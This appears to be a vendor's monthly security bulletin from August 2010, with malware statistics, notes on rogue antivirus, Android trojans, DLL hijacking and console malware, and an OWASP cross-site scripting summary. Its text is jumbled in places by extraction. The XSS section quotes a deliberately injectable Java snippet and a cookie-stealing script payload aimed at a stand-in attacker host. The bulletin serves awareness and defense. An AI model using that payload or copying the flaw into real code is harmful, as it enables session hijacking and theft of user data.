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Ⅰ. Security Trends- August 2010

1. Malicious Code Trend

Malicious Code Statistics

The table below shows the percentage breakdown of the top 20 

malicious codes reported in August 2010. 

[Table 1-2] Top 20 Malicious Code Variant Reports

As of August 2010, Win-Trojan/Agent is the most reported mali-

cious code, representing 13.4% (824,216 reports) of the top 20 

reported malicious code variants, followed by Win-Trojan/On-

linegamehack (735,569 reports) and Win-Trojan/Downloader 

(674,805 reports). 

The chart below categorizes the top malicious codes reported 

this month. 

[Fig. 1-1] Primary Malicious Code Type Breakdown 

As of August 2010, TextImage/Autorun is the most reported mali-

cious code, followed by Win32/Induc and JS/Agent, respectively. 

6 new malicious codes were reported this month. 

[Table 1-1] Top 20 Malicious Code Reports 

The table below shows the percentage breakdown of the top 20 

malicious code variants reported this quarter. 
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Compared to last month, the number of script increased, where-

as, the number of Trojan, worm, adware, dropper, downloader, 

virus and spyware dropped.

 The number of Appcare was similar to the previous month. 

There has been an increase in malicious code reports in August 

that climbed 173,542, from 12,357,777 to 12,531,319. 

[Fig. 1-2] Top Malicious Code Type Comparison Chart  

[Fig. 1-3] Monthly Malicious Code Reports 

[Table 1-3] Top 20 New Malicious Code Reports 

As of August 2010, Win-Trojan/Agent.90112.AAK is the most re-

ported new malicious code, representing 9.9% (53,916 reports) of 

the top 20 reported new malicious codes, followed by Win-Trojan/

Downloader.427520.C (49,929 reports). 

Malicious Code Issues

Malicious email trick users into installing rogue antivirus

As of August 2010, Trojan is the most reported malicious code, 

representing 45.8% of the top reported malicious codes, followed 

by Script (13.3%) and Worm (10.7%). 

[Fig. 1-4] New Malicious Code Type Breakdown 

As of August 2010, Trojan is the most reported new malicious 

code, representing 66% of the top reported new malicious codes. 

It was followed by adware (22%) and dropper (8%). 

The table below shows the percentage breakdown of the top 20 

new malicious codes reported in August 2010. 

AhnLab V3 MSS
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Rogue antivirus disguised as normal antivirus

A rogue antivirus disguised as a normal antivirus was reported 

this month. This rogue program runs in idle mode and displays 

the following warning message when the user runs an Internet 

Explorer executable file.  It acts as a legitimate antivirus.

[Fig. 1-5] Emails with rogue antivirus attachment

[Fig. 1-8] Window tricking users into installing rogue antivirus

Removal tools that can be installed for free in [Fig. 1-8] above are 

all rogue antivirus. You must not install any of the following tools:

Red Cross

 Peak Protection 2010

 Pest Detector

 Major Defense Kit

 Antispysafequard

The rest are manipulated tools with no scan results - you must not be 

[Fig. 1-7] Rogue antivirus acting as a legitimate antivirus

There were yet again numerous malicious emails sent out this 

month to trick recipients into downloading a rogue antivirus that 

was in the form of an executable file or script file.  The examples of 

the emails are as below:

If the rogue antivirus attachment is a script file, it will be hard to 

decode it, as it will contain obfuscated script. Also, the email recip-

ient will not think twice about clicking the file, as it will be in .html 

format. When the script is executed, the victim will be directed 

to a website with the recently announced Windows Help vulner-

ability. Previously, victims were directed to adult’s drug sites. Ul-

timately, you will get tricked into downloading a rogue antivirus. 

If an executable file is attached, the following rogue antivirus will 

get installed.

Recently, there has been a rise in reports of rogue antivirus distrib-

uted via email.  Most of this email is sent by botnets.  One of the 

ways to prevent this attack is to simply be aware of this threat, and 

not open any suspicious email.

[Fig. 1-6] Example of rogue antivirus

If you click ‘Apply actions’, it will display a fake virus removal win-

dow. But, it will not remove any security threats.  It will then dis-

play the following window – other variants will disguise itself as 

‘Virus Total’, a well-known online file scanning site. Another vari-

ant is as below:
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Malicious application for smartphones start appearing

Starting from this month, malicious applications that run on 

smartphones with Android platform have been reported. The 

following three types of malicious applications for Android were 

reported this month. Android-Trojan/Ewalls changes the wallpa-

per of smartphones. It steals sensitive information, such as SIM 

information, without consent from the user.  The producer is de-

fending themselves, saying that the information were collected to 

develop better programs, but leaking information that identifies 

individuals is illegal.  This malicious application will be discussed in 

detail below.  Android-Trojan/SmsSend is a program disguised as 

a video player. It does not play videos, but sends paid SMS (Short 

Message Service) without the user’s consent. Android-Trojan/

Snake disguises itself as a game to leak the location of the user.  

When the user plays the game, it sends the user’s location without 

the user’s consent.  All three malicious applications reported this 

month are all software produced for Android platform. They send 

out text messages of internal information without the user’s con-

sent.  This sort of malicious applications will persist.  Accordingly, 

before downloading and installing a smartphone application, you 

must check its function and carefully read the reviews to make 

sure there are no malicious aspects.

[Fig. 1-9] Application screen

When the above malicious application runs, it collects user infor-

mation in the smartphone and sends the information via a net-

work.  The Android-Spyware/Ewalls detected by V3 Mobile is as 

Fig. 1-10 below:

Malicious code inserted into a wallpaper application of Android 

phones

V3 Mobile detected Android-Spyware/EWalls, an Android phone 

wallpaper application that leaks user information.  It is as Fig. 1-9 

below:

[Fig. 1-10] Android-Spyware/Ewalls detected by V3 Mobile

fooled. Rogue antivirus will keep on changing to attack your com-

puter.  It may disguise itself as a legitimate antivirus as above to install 

itself.  Such rogue antivirus tools have been an issue for a long time. 

You must always be careful when downloading any antivirus tools, 

as they are becoming cleverer as a result of competition amongst 

money-seeking cyber criminals.

Malicious code disguised as Kapersky digital signature

A malicious code that fabricated a digital signature produced and 

distributed by computer securities companies and press com-

panies was reported this month. Another case of fabricating the 

digital signature of a company was reported in July in Korea. To 

disguise itself as a file distributed by a portal site, a digital signa-

ture of the company was fabricated and distributed.  But, unlike 

the past when the digital signature of ordinary companies was 

fabricated, this time, the malicious code disguised itself as a digi-

tal signature of a trusted Russian computer securities company, 

Kapersky.AhnLab V3 Internet Security 8.0
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[Fig. 1-11] Malicious code disguised as digital signature of Kapersky

As it can be seen above, the fabricated digital signature has ex-

pired. The expiration date can be used to determine whether the 

digital signature is malicious.  But, it could be difficult to deter-

mine whether it is malicious if the malicious code continually 

fabricates and uses the digital signature of a specific company, or 

uses a stolen encryption key used by the actual digital signature 

in the fabricated digital signature.  Also, in the case of Stuxnet that 

exploited the vulnerability in Windows shell on July 19, the rootkit 

driver file uses the encryption key of a specific company for digital 

signature.  V3 detected the following malicious codes that fabri-

cated Kapersky’s digital signature to use:

 Win-Trojan/Zbot.117736

 Win-Trojan/Agent.122856.B

 Win-Trojan/Zbot.138216

Malicious code disguised as Adobe Flash Player update

On August 11, it has been reported that a malicious code was be-

ing distributed via a fake Adobe Flash Player update site. Extra 

caution is required as this fake website was detected around the 

time Adobe released a security patch to remove a vulnerability.  

As it can be seen below, this fake website is similar to the origi-

nal website. It will be difficult for the ordinary user to determine 

whether it is the original site.

[Fig. 1-12] Fake Adobe Flash Player update website

 Most of this email

[Fig. 1-13] Malicious code distributed by fake Adobe Flash Player update 

website

The downloaded malicious file runs itself and inserts its code 

in the memory on svchost.exe file to download other malicious 

code variants that install rogue antivirus.  V3 detected the follow-

ing malicious file:

 Win-Trojan/Injector.25088.K

To prevent this, you are advised to run update from the software 

itself, or carefully check whether the website is the original site 

operated by the software company before downloading an up-

date.
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Security Issues

Vulnerability in Automated Teller Machine (ATM)

Vulnerability in ATMs were announced in BlackHat2010 and DE-

FCON18. The presenter demonstrated an ATM attack during the 

presentation and showed a Jackpot screen where a large amount 

of money was continually withdrew.

The chart above shows the number of website intrusions and 

distributors of malicious codes. There has been a decrease in the 

 [Fig. 2-3] ATM attack demonstration (Photo- wired.com) 

2. Security Trend

Security Statistics

Microsoft Security Updates- August 2010

Microsoft released 14 security updates in August.

[Fig. 2-1] MS Security Updates

[Table 2-1] MS Security Updates for August 2010

Microsoft released 10 security updates for the system, 1 for IE, 2 

for Office and 1 for the application this month, along with multi-

ple updates for remote vulnerabilities. Extra caution is required as 

some vulnerabilities, such as visiting websites (MS10-049, MS10-

051) and opening document files (MS10-056, MS10-057), may 

cause damage to your system.

[Fig. 2-2] Website Intrusions/Distributors of Malicious Code

Microsoft Security Updates- August 2010

The attack can be initiated in two different ways – remote attack 

by exploiting the vulnerability in ATM management, and direct at-

tack by connecting a USB port to the machine.  The technical de-

tail of the vulnerability was not discussed in the presentation, but 

it proved that the machine could be attacked like the computer.

[Fig. 2-4] ATM being attacked (Photo- securityweek.com) 

Luckily, the vulnerabilities discovered by the presenter did not ap-

ply to all automated teller machines. It was only found in some 

machines, and the manufacturers have already been notified and 

this problem has been solved. However, similar vulnerabilities 

may exist in the machines produced by other manufacturers, so 

caution should be taken on this issue.

number of website intrusions and malicious code distributors 

since July 2010. (Blue line: Website Intrusion / Red line: Distribu-

tors of Malicious Code)
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DLL Hijacking vulnerability

Recently, codes that attack DLL hijacking vulnerability are ram-

pant in vulnerability-sharing sites. This vulnerability exists when 

the application loads the DLL.  In general, LoadLibrary() and Load-

LibraryEx() that are functions used to call DLL are used. If an abso-

lute path is not designated, each directory will be searched in the 

following order to find the specified DLL.

1. Directory in which the program is executed

2. System directory

3. 16-bit system directory

4. Window directory

5. Current working directory (CWD)

6. Directories registered in environment variables

If a DLL with the same name as the designated DLL exists in a di-

rectory in a higher search order, the DLL will run instead. The at-

tacker can exploit this to run the DLL he/she wants.

[Fig. 2-5] Attack scenario of DLL hijacking

A few methods to solve this vulnerability have been advised 

(http://support.microsoft.com/kb/2264107), but it makes your 

system insecure or restricts the functions, so the vulnerability 

must be modified in the Windows system itself. As the vulnerabil-

ity could be a problem in the DLL mechanism itself, to completely 

solve this problem, there must be an action must be taken against 

the application also even if there is a patch.

Malicious code that operates on game consoles

During the DEFCON18, there was a presentation on a malicious 

code that runs in embedded system. In the presentation, it was 

demonstrated that game consoles such as NDS and Wii could 

paralyze the network or attack other computers. If a game is il-

legally downloaded and played, it could seriously infect your sys-

tem and cause serious damages. The presenter proved that attack 

tools that operate on mobile game consoles could be produced 

 [Fig. 2-6] Original game binary header

[Fig. 2-7] Modified binary header with malicious codes inserted

The presenter also reported that there could be a virus that op-

erates on an embedded system, just like a computer virus, the 

codes of a program that run on an embedded system can be 

manipulated to add malicious codes. He also gave a demonstra-

tion of a Wii game infected by virus. The virus produced by the 

presenter attacked the home network and the user’s computer to 

paralyze the Internet, and made the user’s PC a zombie PC to add 

it as the attacker’s botnet.

[Fig. 2-8] Demonstration of Wii attacking the home network via an infected 

game

This can also happen in smartphones such as iPhones and An-

droid phones. You must take extra caution as applications illegally 

shared on the Internet could also contain a malicious code.  As 

it was affirmed by the presentation, embedded systems, includ-

ing game consoles, could cause serious damage to itself or other 

systems. Users must be aware of the fact that illegal download of 

applications could cause damage to their own computers, other 

people’s computers and even the network.

the same as those for computers, as most embedded devices like 

game consoles have input/output mechanism and uses the net-

work like the computer, and then gave a demonstration on NDS 

attacking a computer and network.
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[Fig. 2-9] Distribution interval of malicious codes that patch imm32.dll

The malicious codes in Fig. 2-11 above were reported on the 

weekends, and this shows that more people use the computer on 

the weekend and infected computers are not properly updated.  

MS10-042 vulnerability was used to distribute the malicious codes 

via violated sites. To prevent this, it is important for users to be 

aware of this threat and regularly get the latest security updates.

2010-08-21 ~ 2010-08-22

http://wow.*******.com/script/movie_ativex_patch.js

       http://*******.com/ads.htm

            http://*******.com/K.js

             http://*******.com/y.exe

2010-08-13 ~ 2010-08-16

http://wow.*******.com/script/movie_ativex_patch.js

      http://*******.com/a.htm

          http://*******.com/K.js

            http:/*******.com/n.exe

[Fig. 2-10] Distribution of malicious codes that patch imm32.dll

[Fig. 2-11] Reports on malicious codes that patch imm32.dll (V3Lite)

[Table 3-1] Website Security Summary

As of August 2010, 

there were 94,045 

reported malicious 

codes, 880 types of 

reported malicious 

code, 782 reported 

3. Web Security Trend

Web Security Statistics

Web Security Summary

Monthly Reported Malicious Codes

[Fig. 3-1] ] Monthly Reported Malicious Codes 

domains with malicious code, and 3,638 reported URLs with mali-

cious code. The number of reported malicious codes decreased 

from last month, but the type of reported malicious codes, and 

domains and URLs with malicious code increased.

As of August 2010, the number of reported malicious codes de-

creased 7% from 100,682 the previous month to 94,045.

Monthly Reported Types of Malicious Code

[Fig. 3-2] Monthly Reported Types of Malicious Code

As of August 2010, the number of reported types of malicious 

code increased 19% from 740 the previous month to 880.

Increase in malicious codes that patches imm32.dll

Just like always, there were game-hacking malicious codes with 

AV-Killer function and malicious codes that patch imm21.dll dis-

tributed on the weekends.
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[Table 3-5] Top Distributed Types of Malicious Code 

Top 10 Distributed Malicious Codes

[Table 3-3] Top 10 Distributed Malicious Codes 

Web Security Issues

OWASP 2010 TOP2

This issue examines the Top 2 risk in OWASP Top 10 Web Applica-

tion Security Risks for 2010 that was summarized in Vol. 6.  The 

Top 2 web application security risk of 2010 is Cross-Site Scripting 

(XSS)1 

1. www.owasp.com, café.naver.com/securityplus

As of August 2010, Win-Adware/Shortcut.InlivePlayerActiveX.234 

is the most distributed malicious code, with 15,836 cases report-

ed. 5 new malicious codes, including Dropper/Malware.97280.HJ, 

emerged in the top 10 list this month.
Distribution of Malicious Codes by Type

[Table 3-2] Top Distributed Types of Malicious Code 

[Fig. 3-3] Monthly Domains with Malicious Code 

Monthly Domains with Malicious Code

As of August 2010, the number of reported domains with mali-

cious code increased 10% from 708 the previous month to 782.

Monthly URLs with Malicious Code

[Fig. 3-4] Monthly URLs with Malicious Code 

As of August 2010, the number of reported URLs with malicious 

code increased 17% from 3,112 the previous month to 3,638.

Adware is the most distributed type of malicious code represent-

ing 36.7% (34,489 reports) of the top distributed type of malicious 

codes, followed by Trojan that represent 28% (26,372 reports).
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1) Details

  l Threat Agents: Anyone who can send untrusted data to the 

             system, including external users, internal users, and admin

             -istrators.

  l Attack Vectors: Attacker sends text-based attack scripts that 

           exploit the interpreter in the browser. Almost any source of        

            data can be an attack vector, including internal sources such 

           as data from the database.

  l Security Weakness: XSS is the most prevalent web applica

            -tion security flaw.  XSS flaws occur when an application in 

            -cludes user supplied data in a page sent to the browser w

            -ithout properly validating or escaping that content. There 

            are three known types of XSS flaws: Stored, Reflected, and 

            DOM based XSS . Detection of most XSS flaws is fairly easy  

            via testing or code analysis.      

      l Technical Impacts: Attackers can execute scripts in a victim’s 

           browser to hijack user sessions, deface web sites, insert hos

           -tile content, redirect users, hijack the user’s browser using 

           malware, etc. 

  l Business Impacts: Consider the business value of the affect

           -ed system and all the data it processes. Also consider the 

           business impact of public exposure of the vulnerability.

2) Injection scenario

The application uses untrusted data in the construction of the fol-

lowing HTML snippet without validation or escaping: 

(String) page += “<input name=’creditcard’ type=’TEXT‘value=’” + re-

quest.getParameter(“CC”) + “’>”;

The attacker modifies the ‘CC’ parameter in their browser to:

‘><script>document.location=’http://www.attacker.com/cgi-bin/cook-

ie.cgi?foo=’+document.cookie</script>’.

This causes the victim’s session ID to be sent to the attacker’s 

website, allowing the attacker to hijack the user’s current session. 

Note that attackers can also use XSS to defeat any CSRF defense 

the application might employ. See A5 for info on CSRF.

3) Prevention

Preventing XSS requires keeping untrusted data separate from 

active browser content.

  l The preferred option is to properly escape all untrusted data 

             based on the HTML context (body, attribute, JavaScript, CSS, 

           or URL) that the data will be placed into. Developers need to 

           include this escaping in their applications unless their UI fra

           -mework does this for them.

  l Positive or “whitelist” input validation with appropriate cano

           -nicalization and decoding is also recommended as it helps 

           protect against XSS, but is not a complete defense as many 

           applications require special characters in their input. Such 

             validation should, as much as possible, decode any encoded 

           input, and then validate the length, characters, format, and 

           any business rules on that data before accepting the inputi

           -on security 

For further details, please refer to the following references.

[Reference]

OWASP

wOWASP XSS Prevention Cheat Sheet

wOWASP Cross-Site Scripting Article

wESAPI Project Home Page 

wESAPI Encoder API

wASVS: Output Encoding/Escaping Requirements (V6)

wASVS: Input Validation Requirements (V5)

wTesting Guide: 1st 3 Chapters on Data Validation Testing

wOWASP Code Review Guide: Chapter on XSS Review

External

wCWE Entry 79 on Cross-Site Scripting

wRSnake’sXSS Attack Cheat Sheet

The application security risk for cross-site scripting attacks is as 

follows:

[Fig. 3-3] Application security risk for XSS attacks






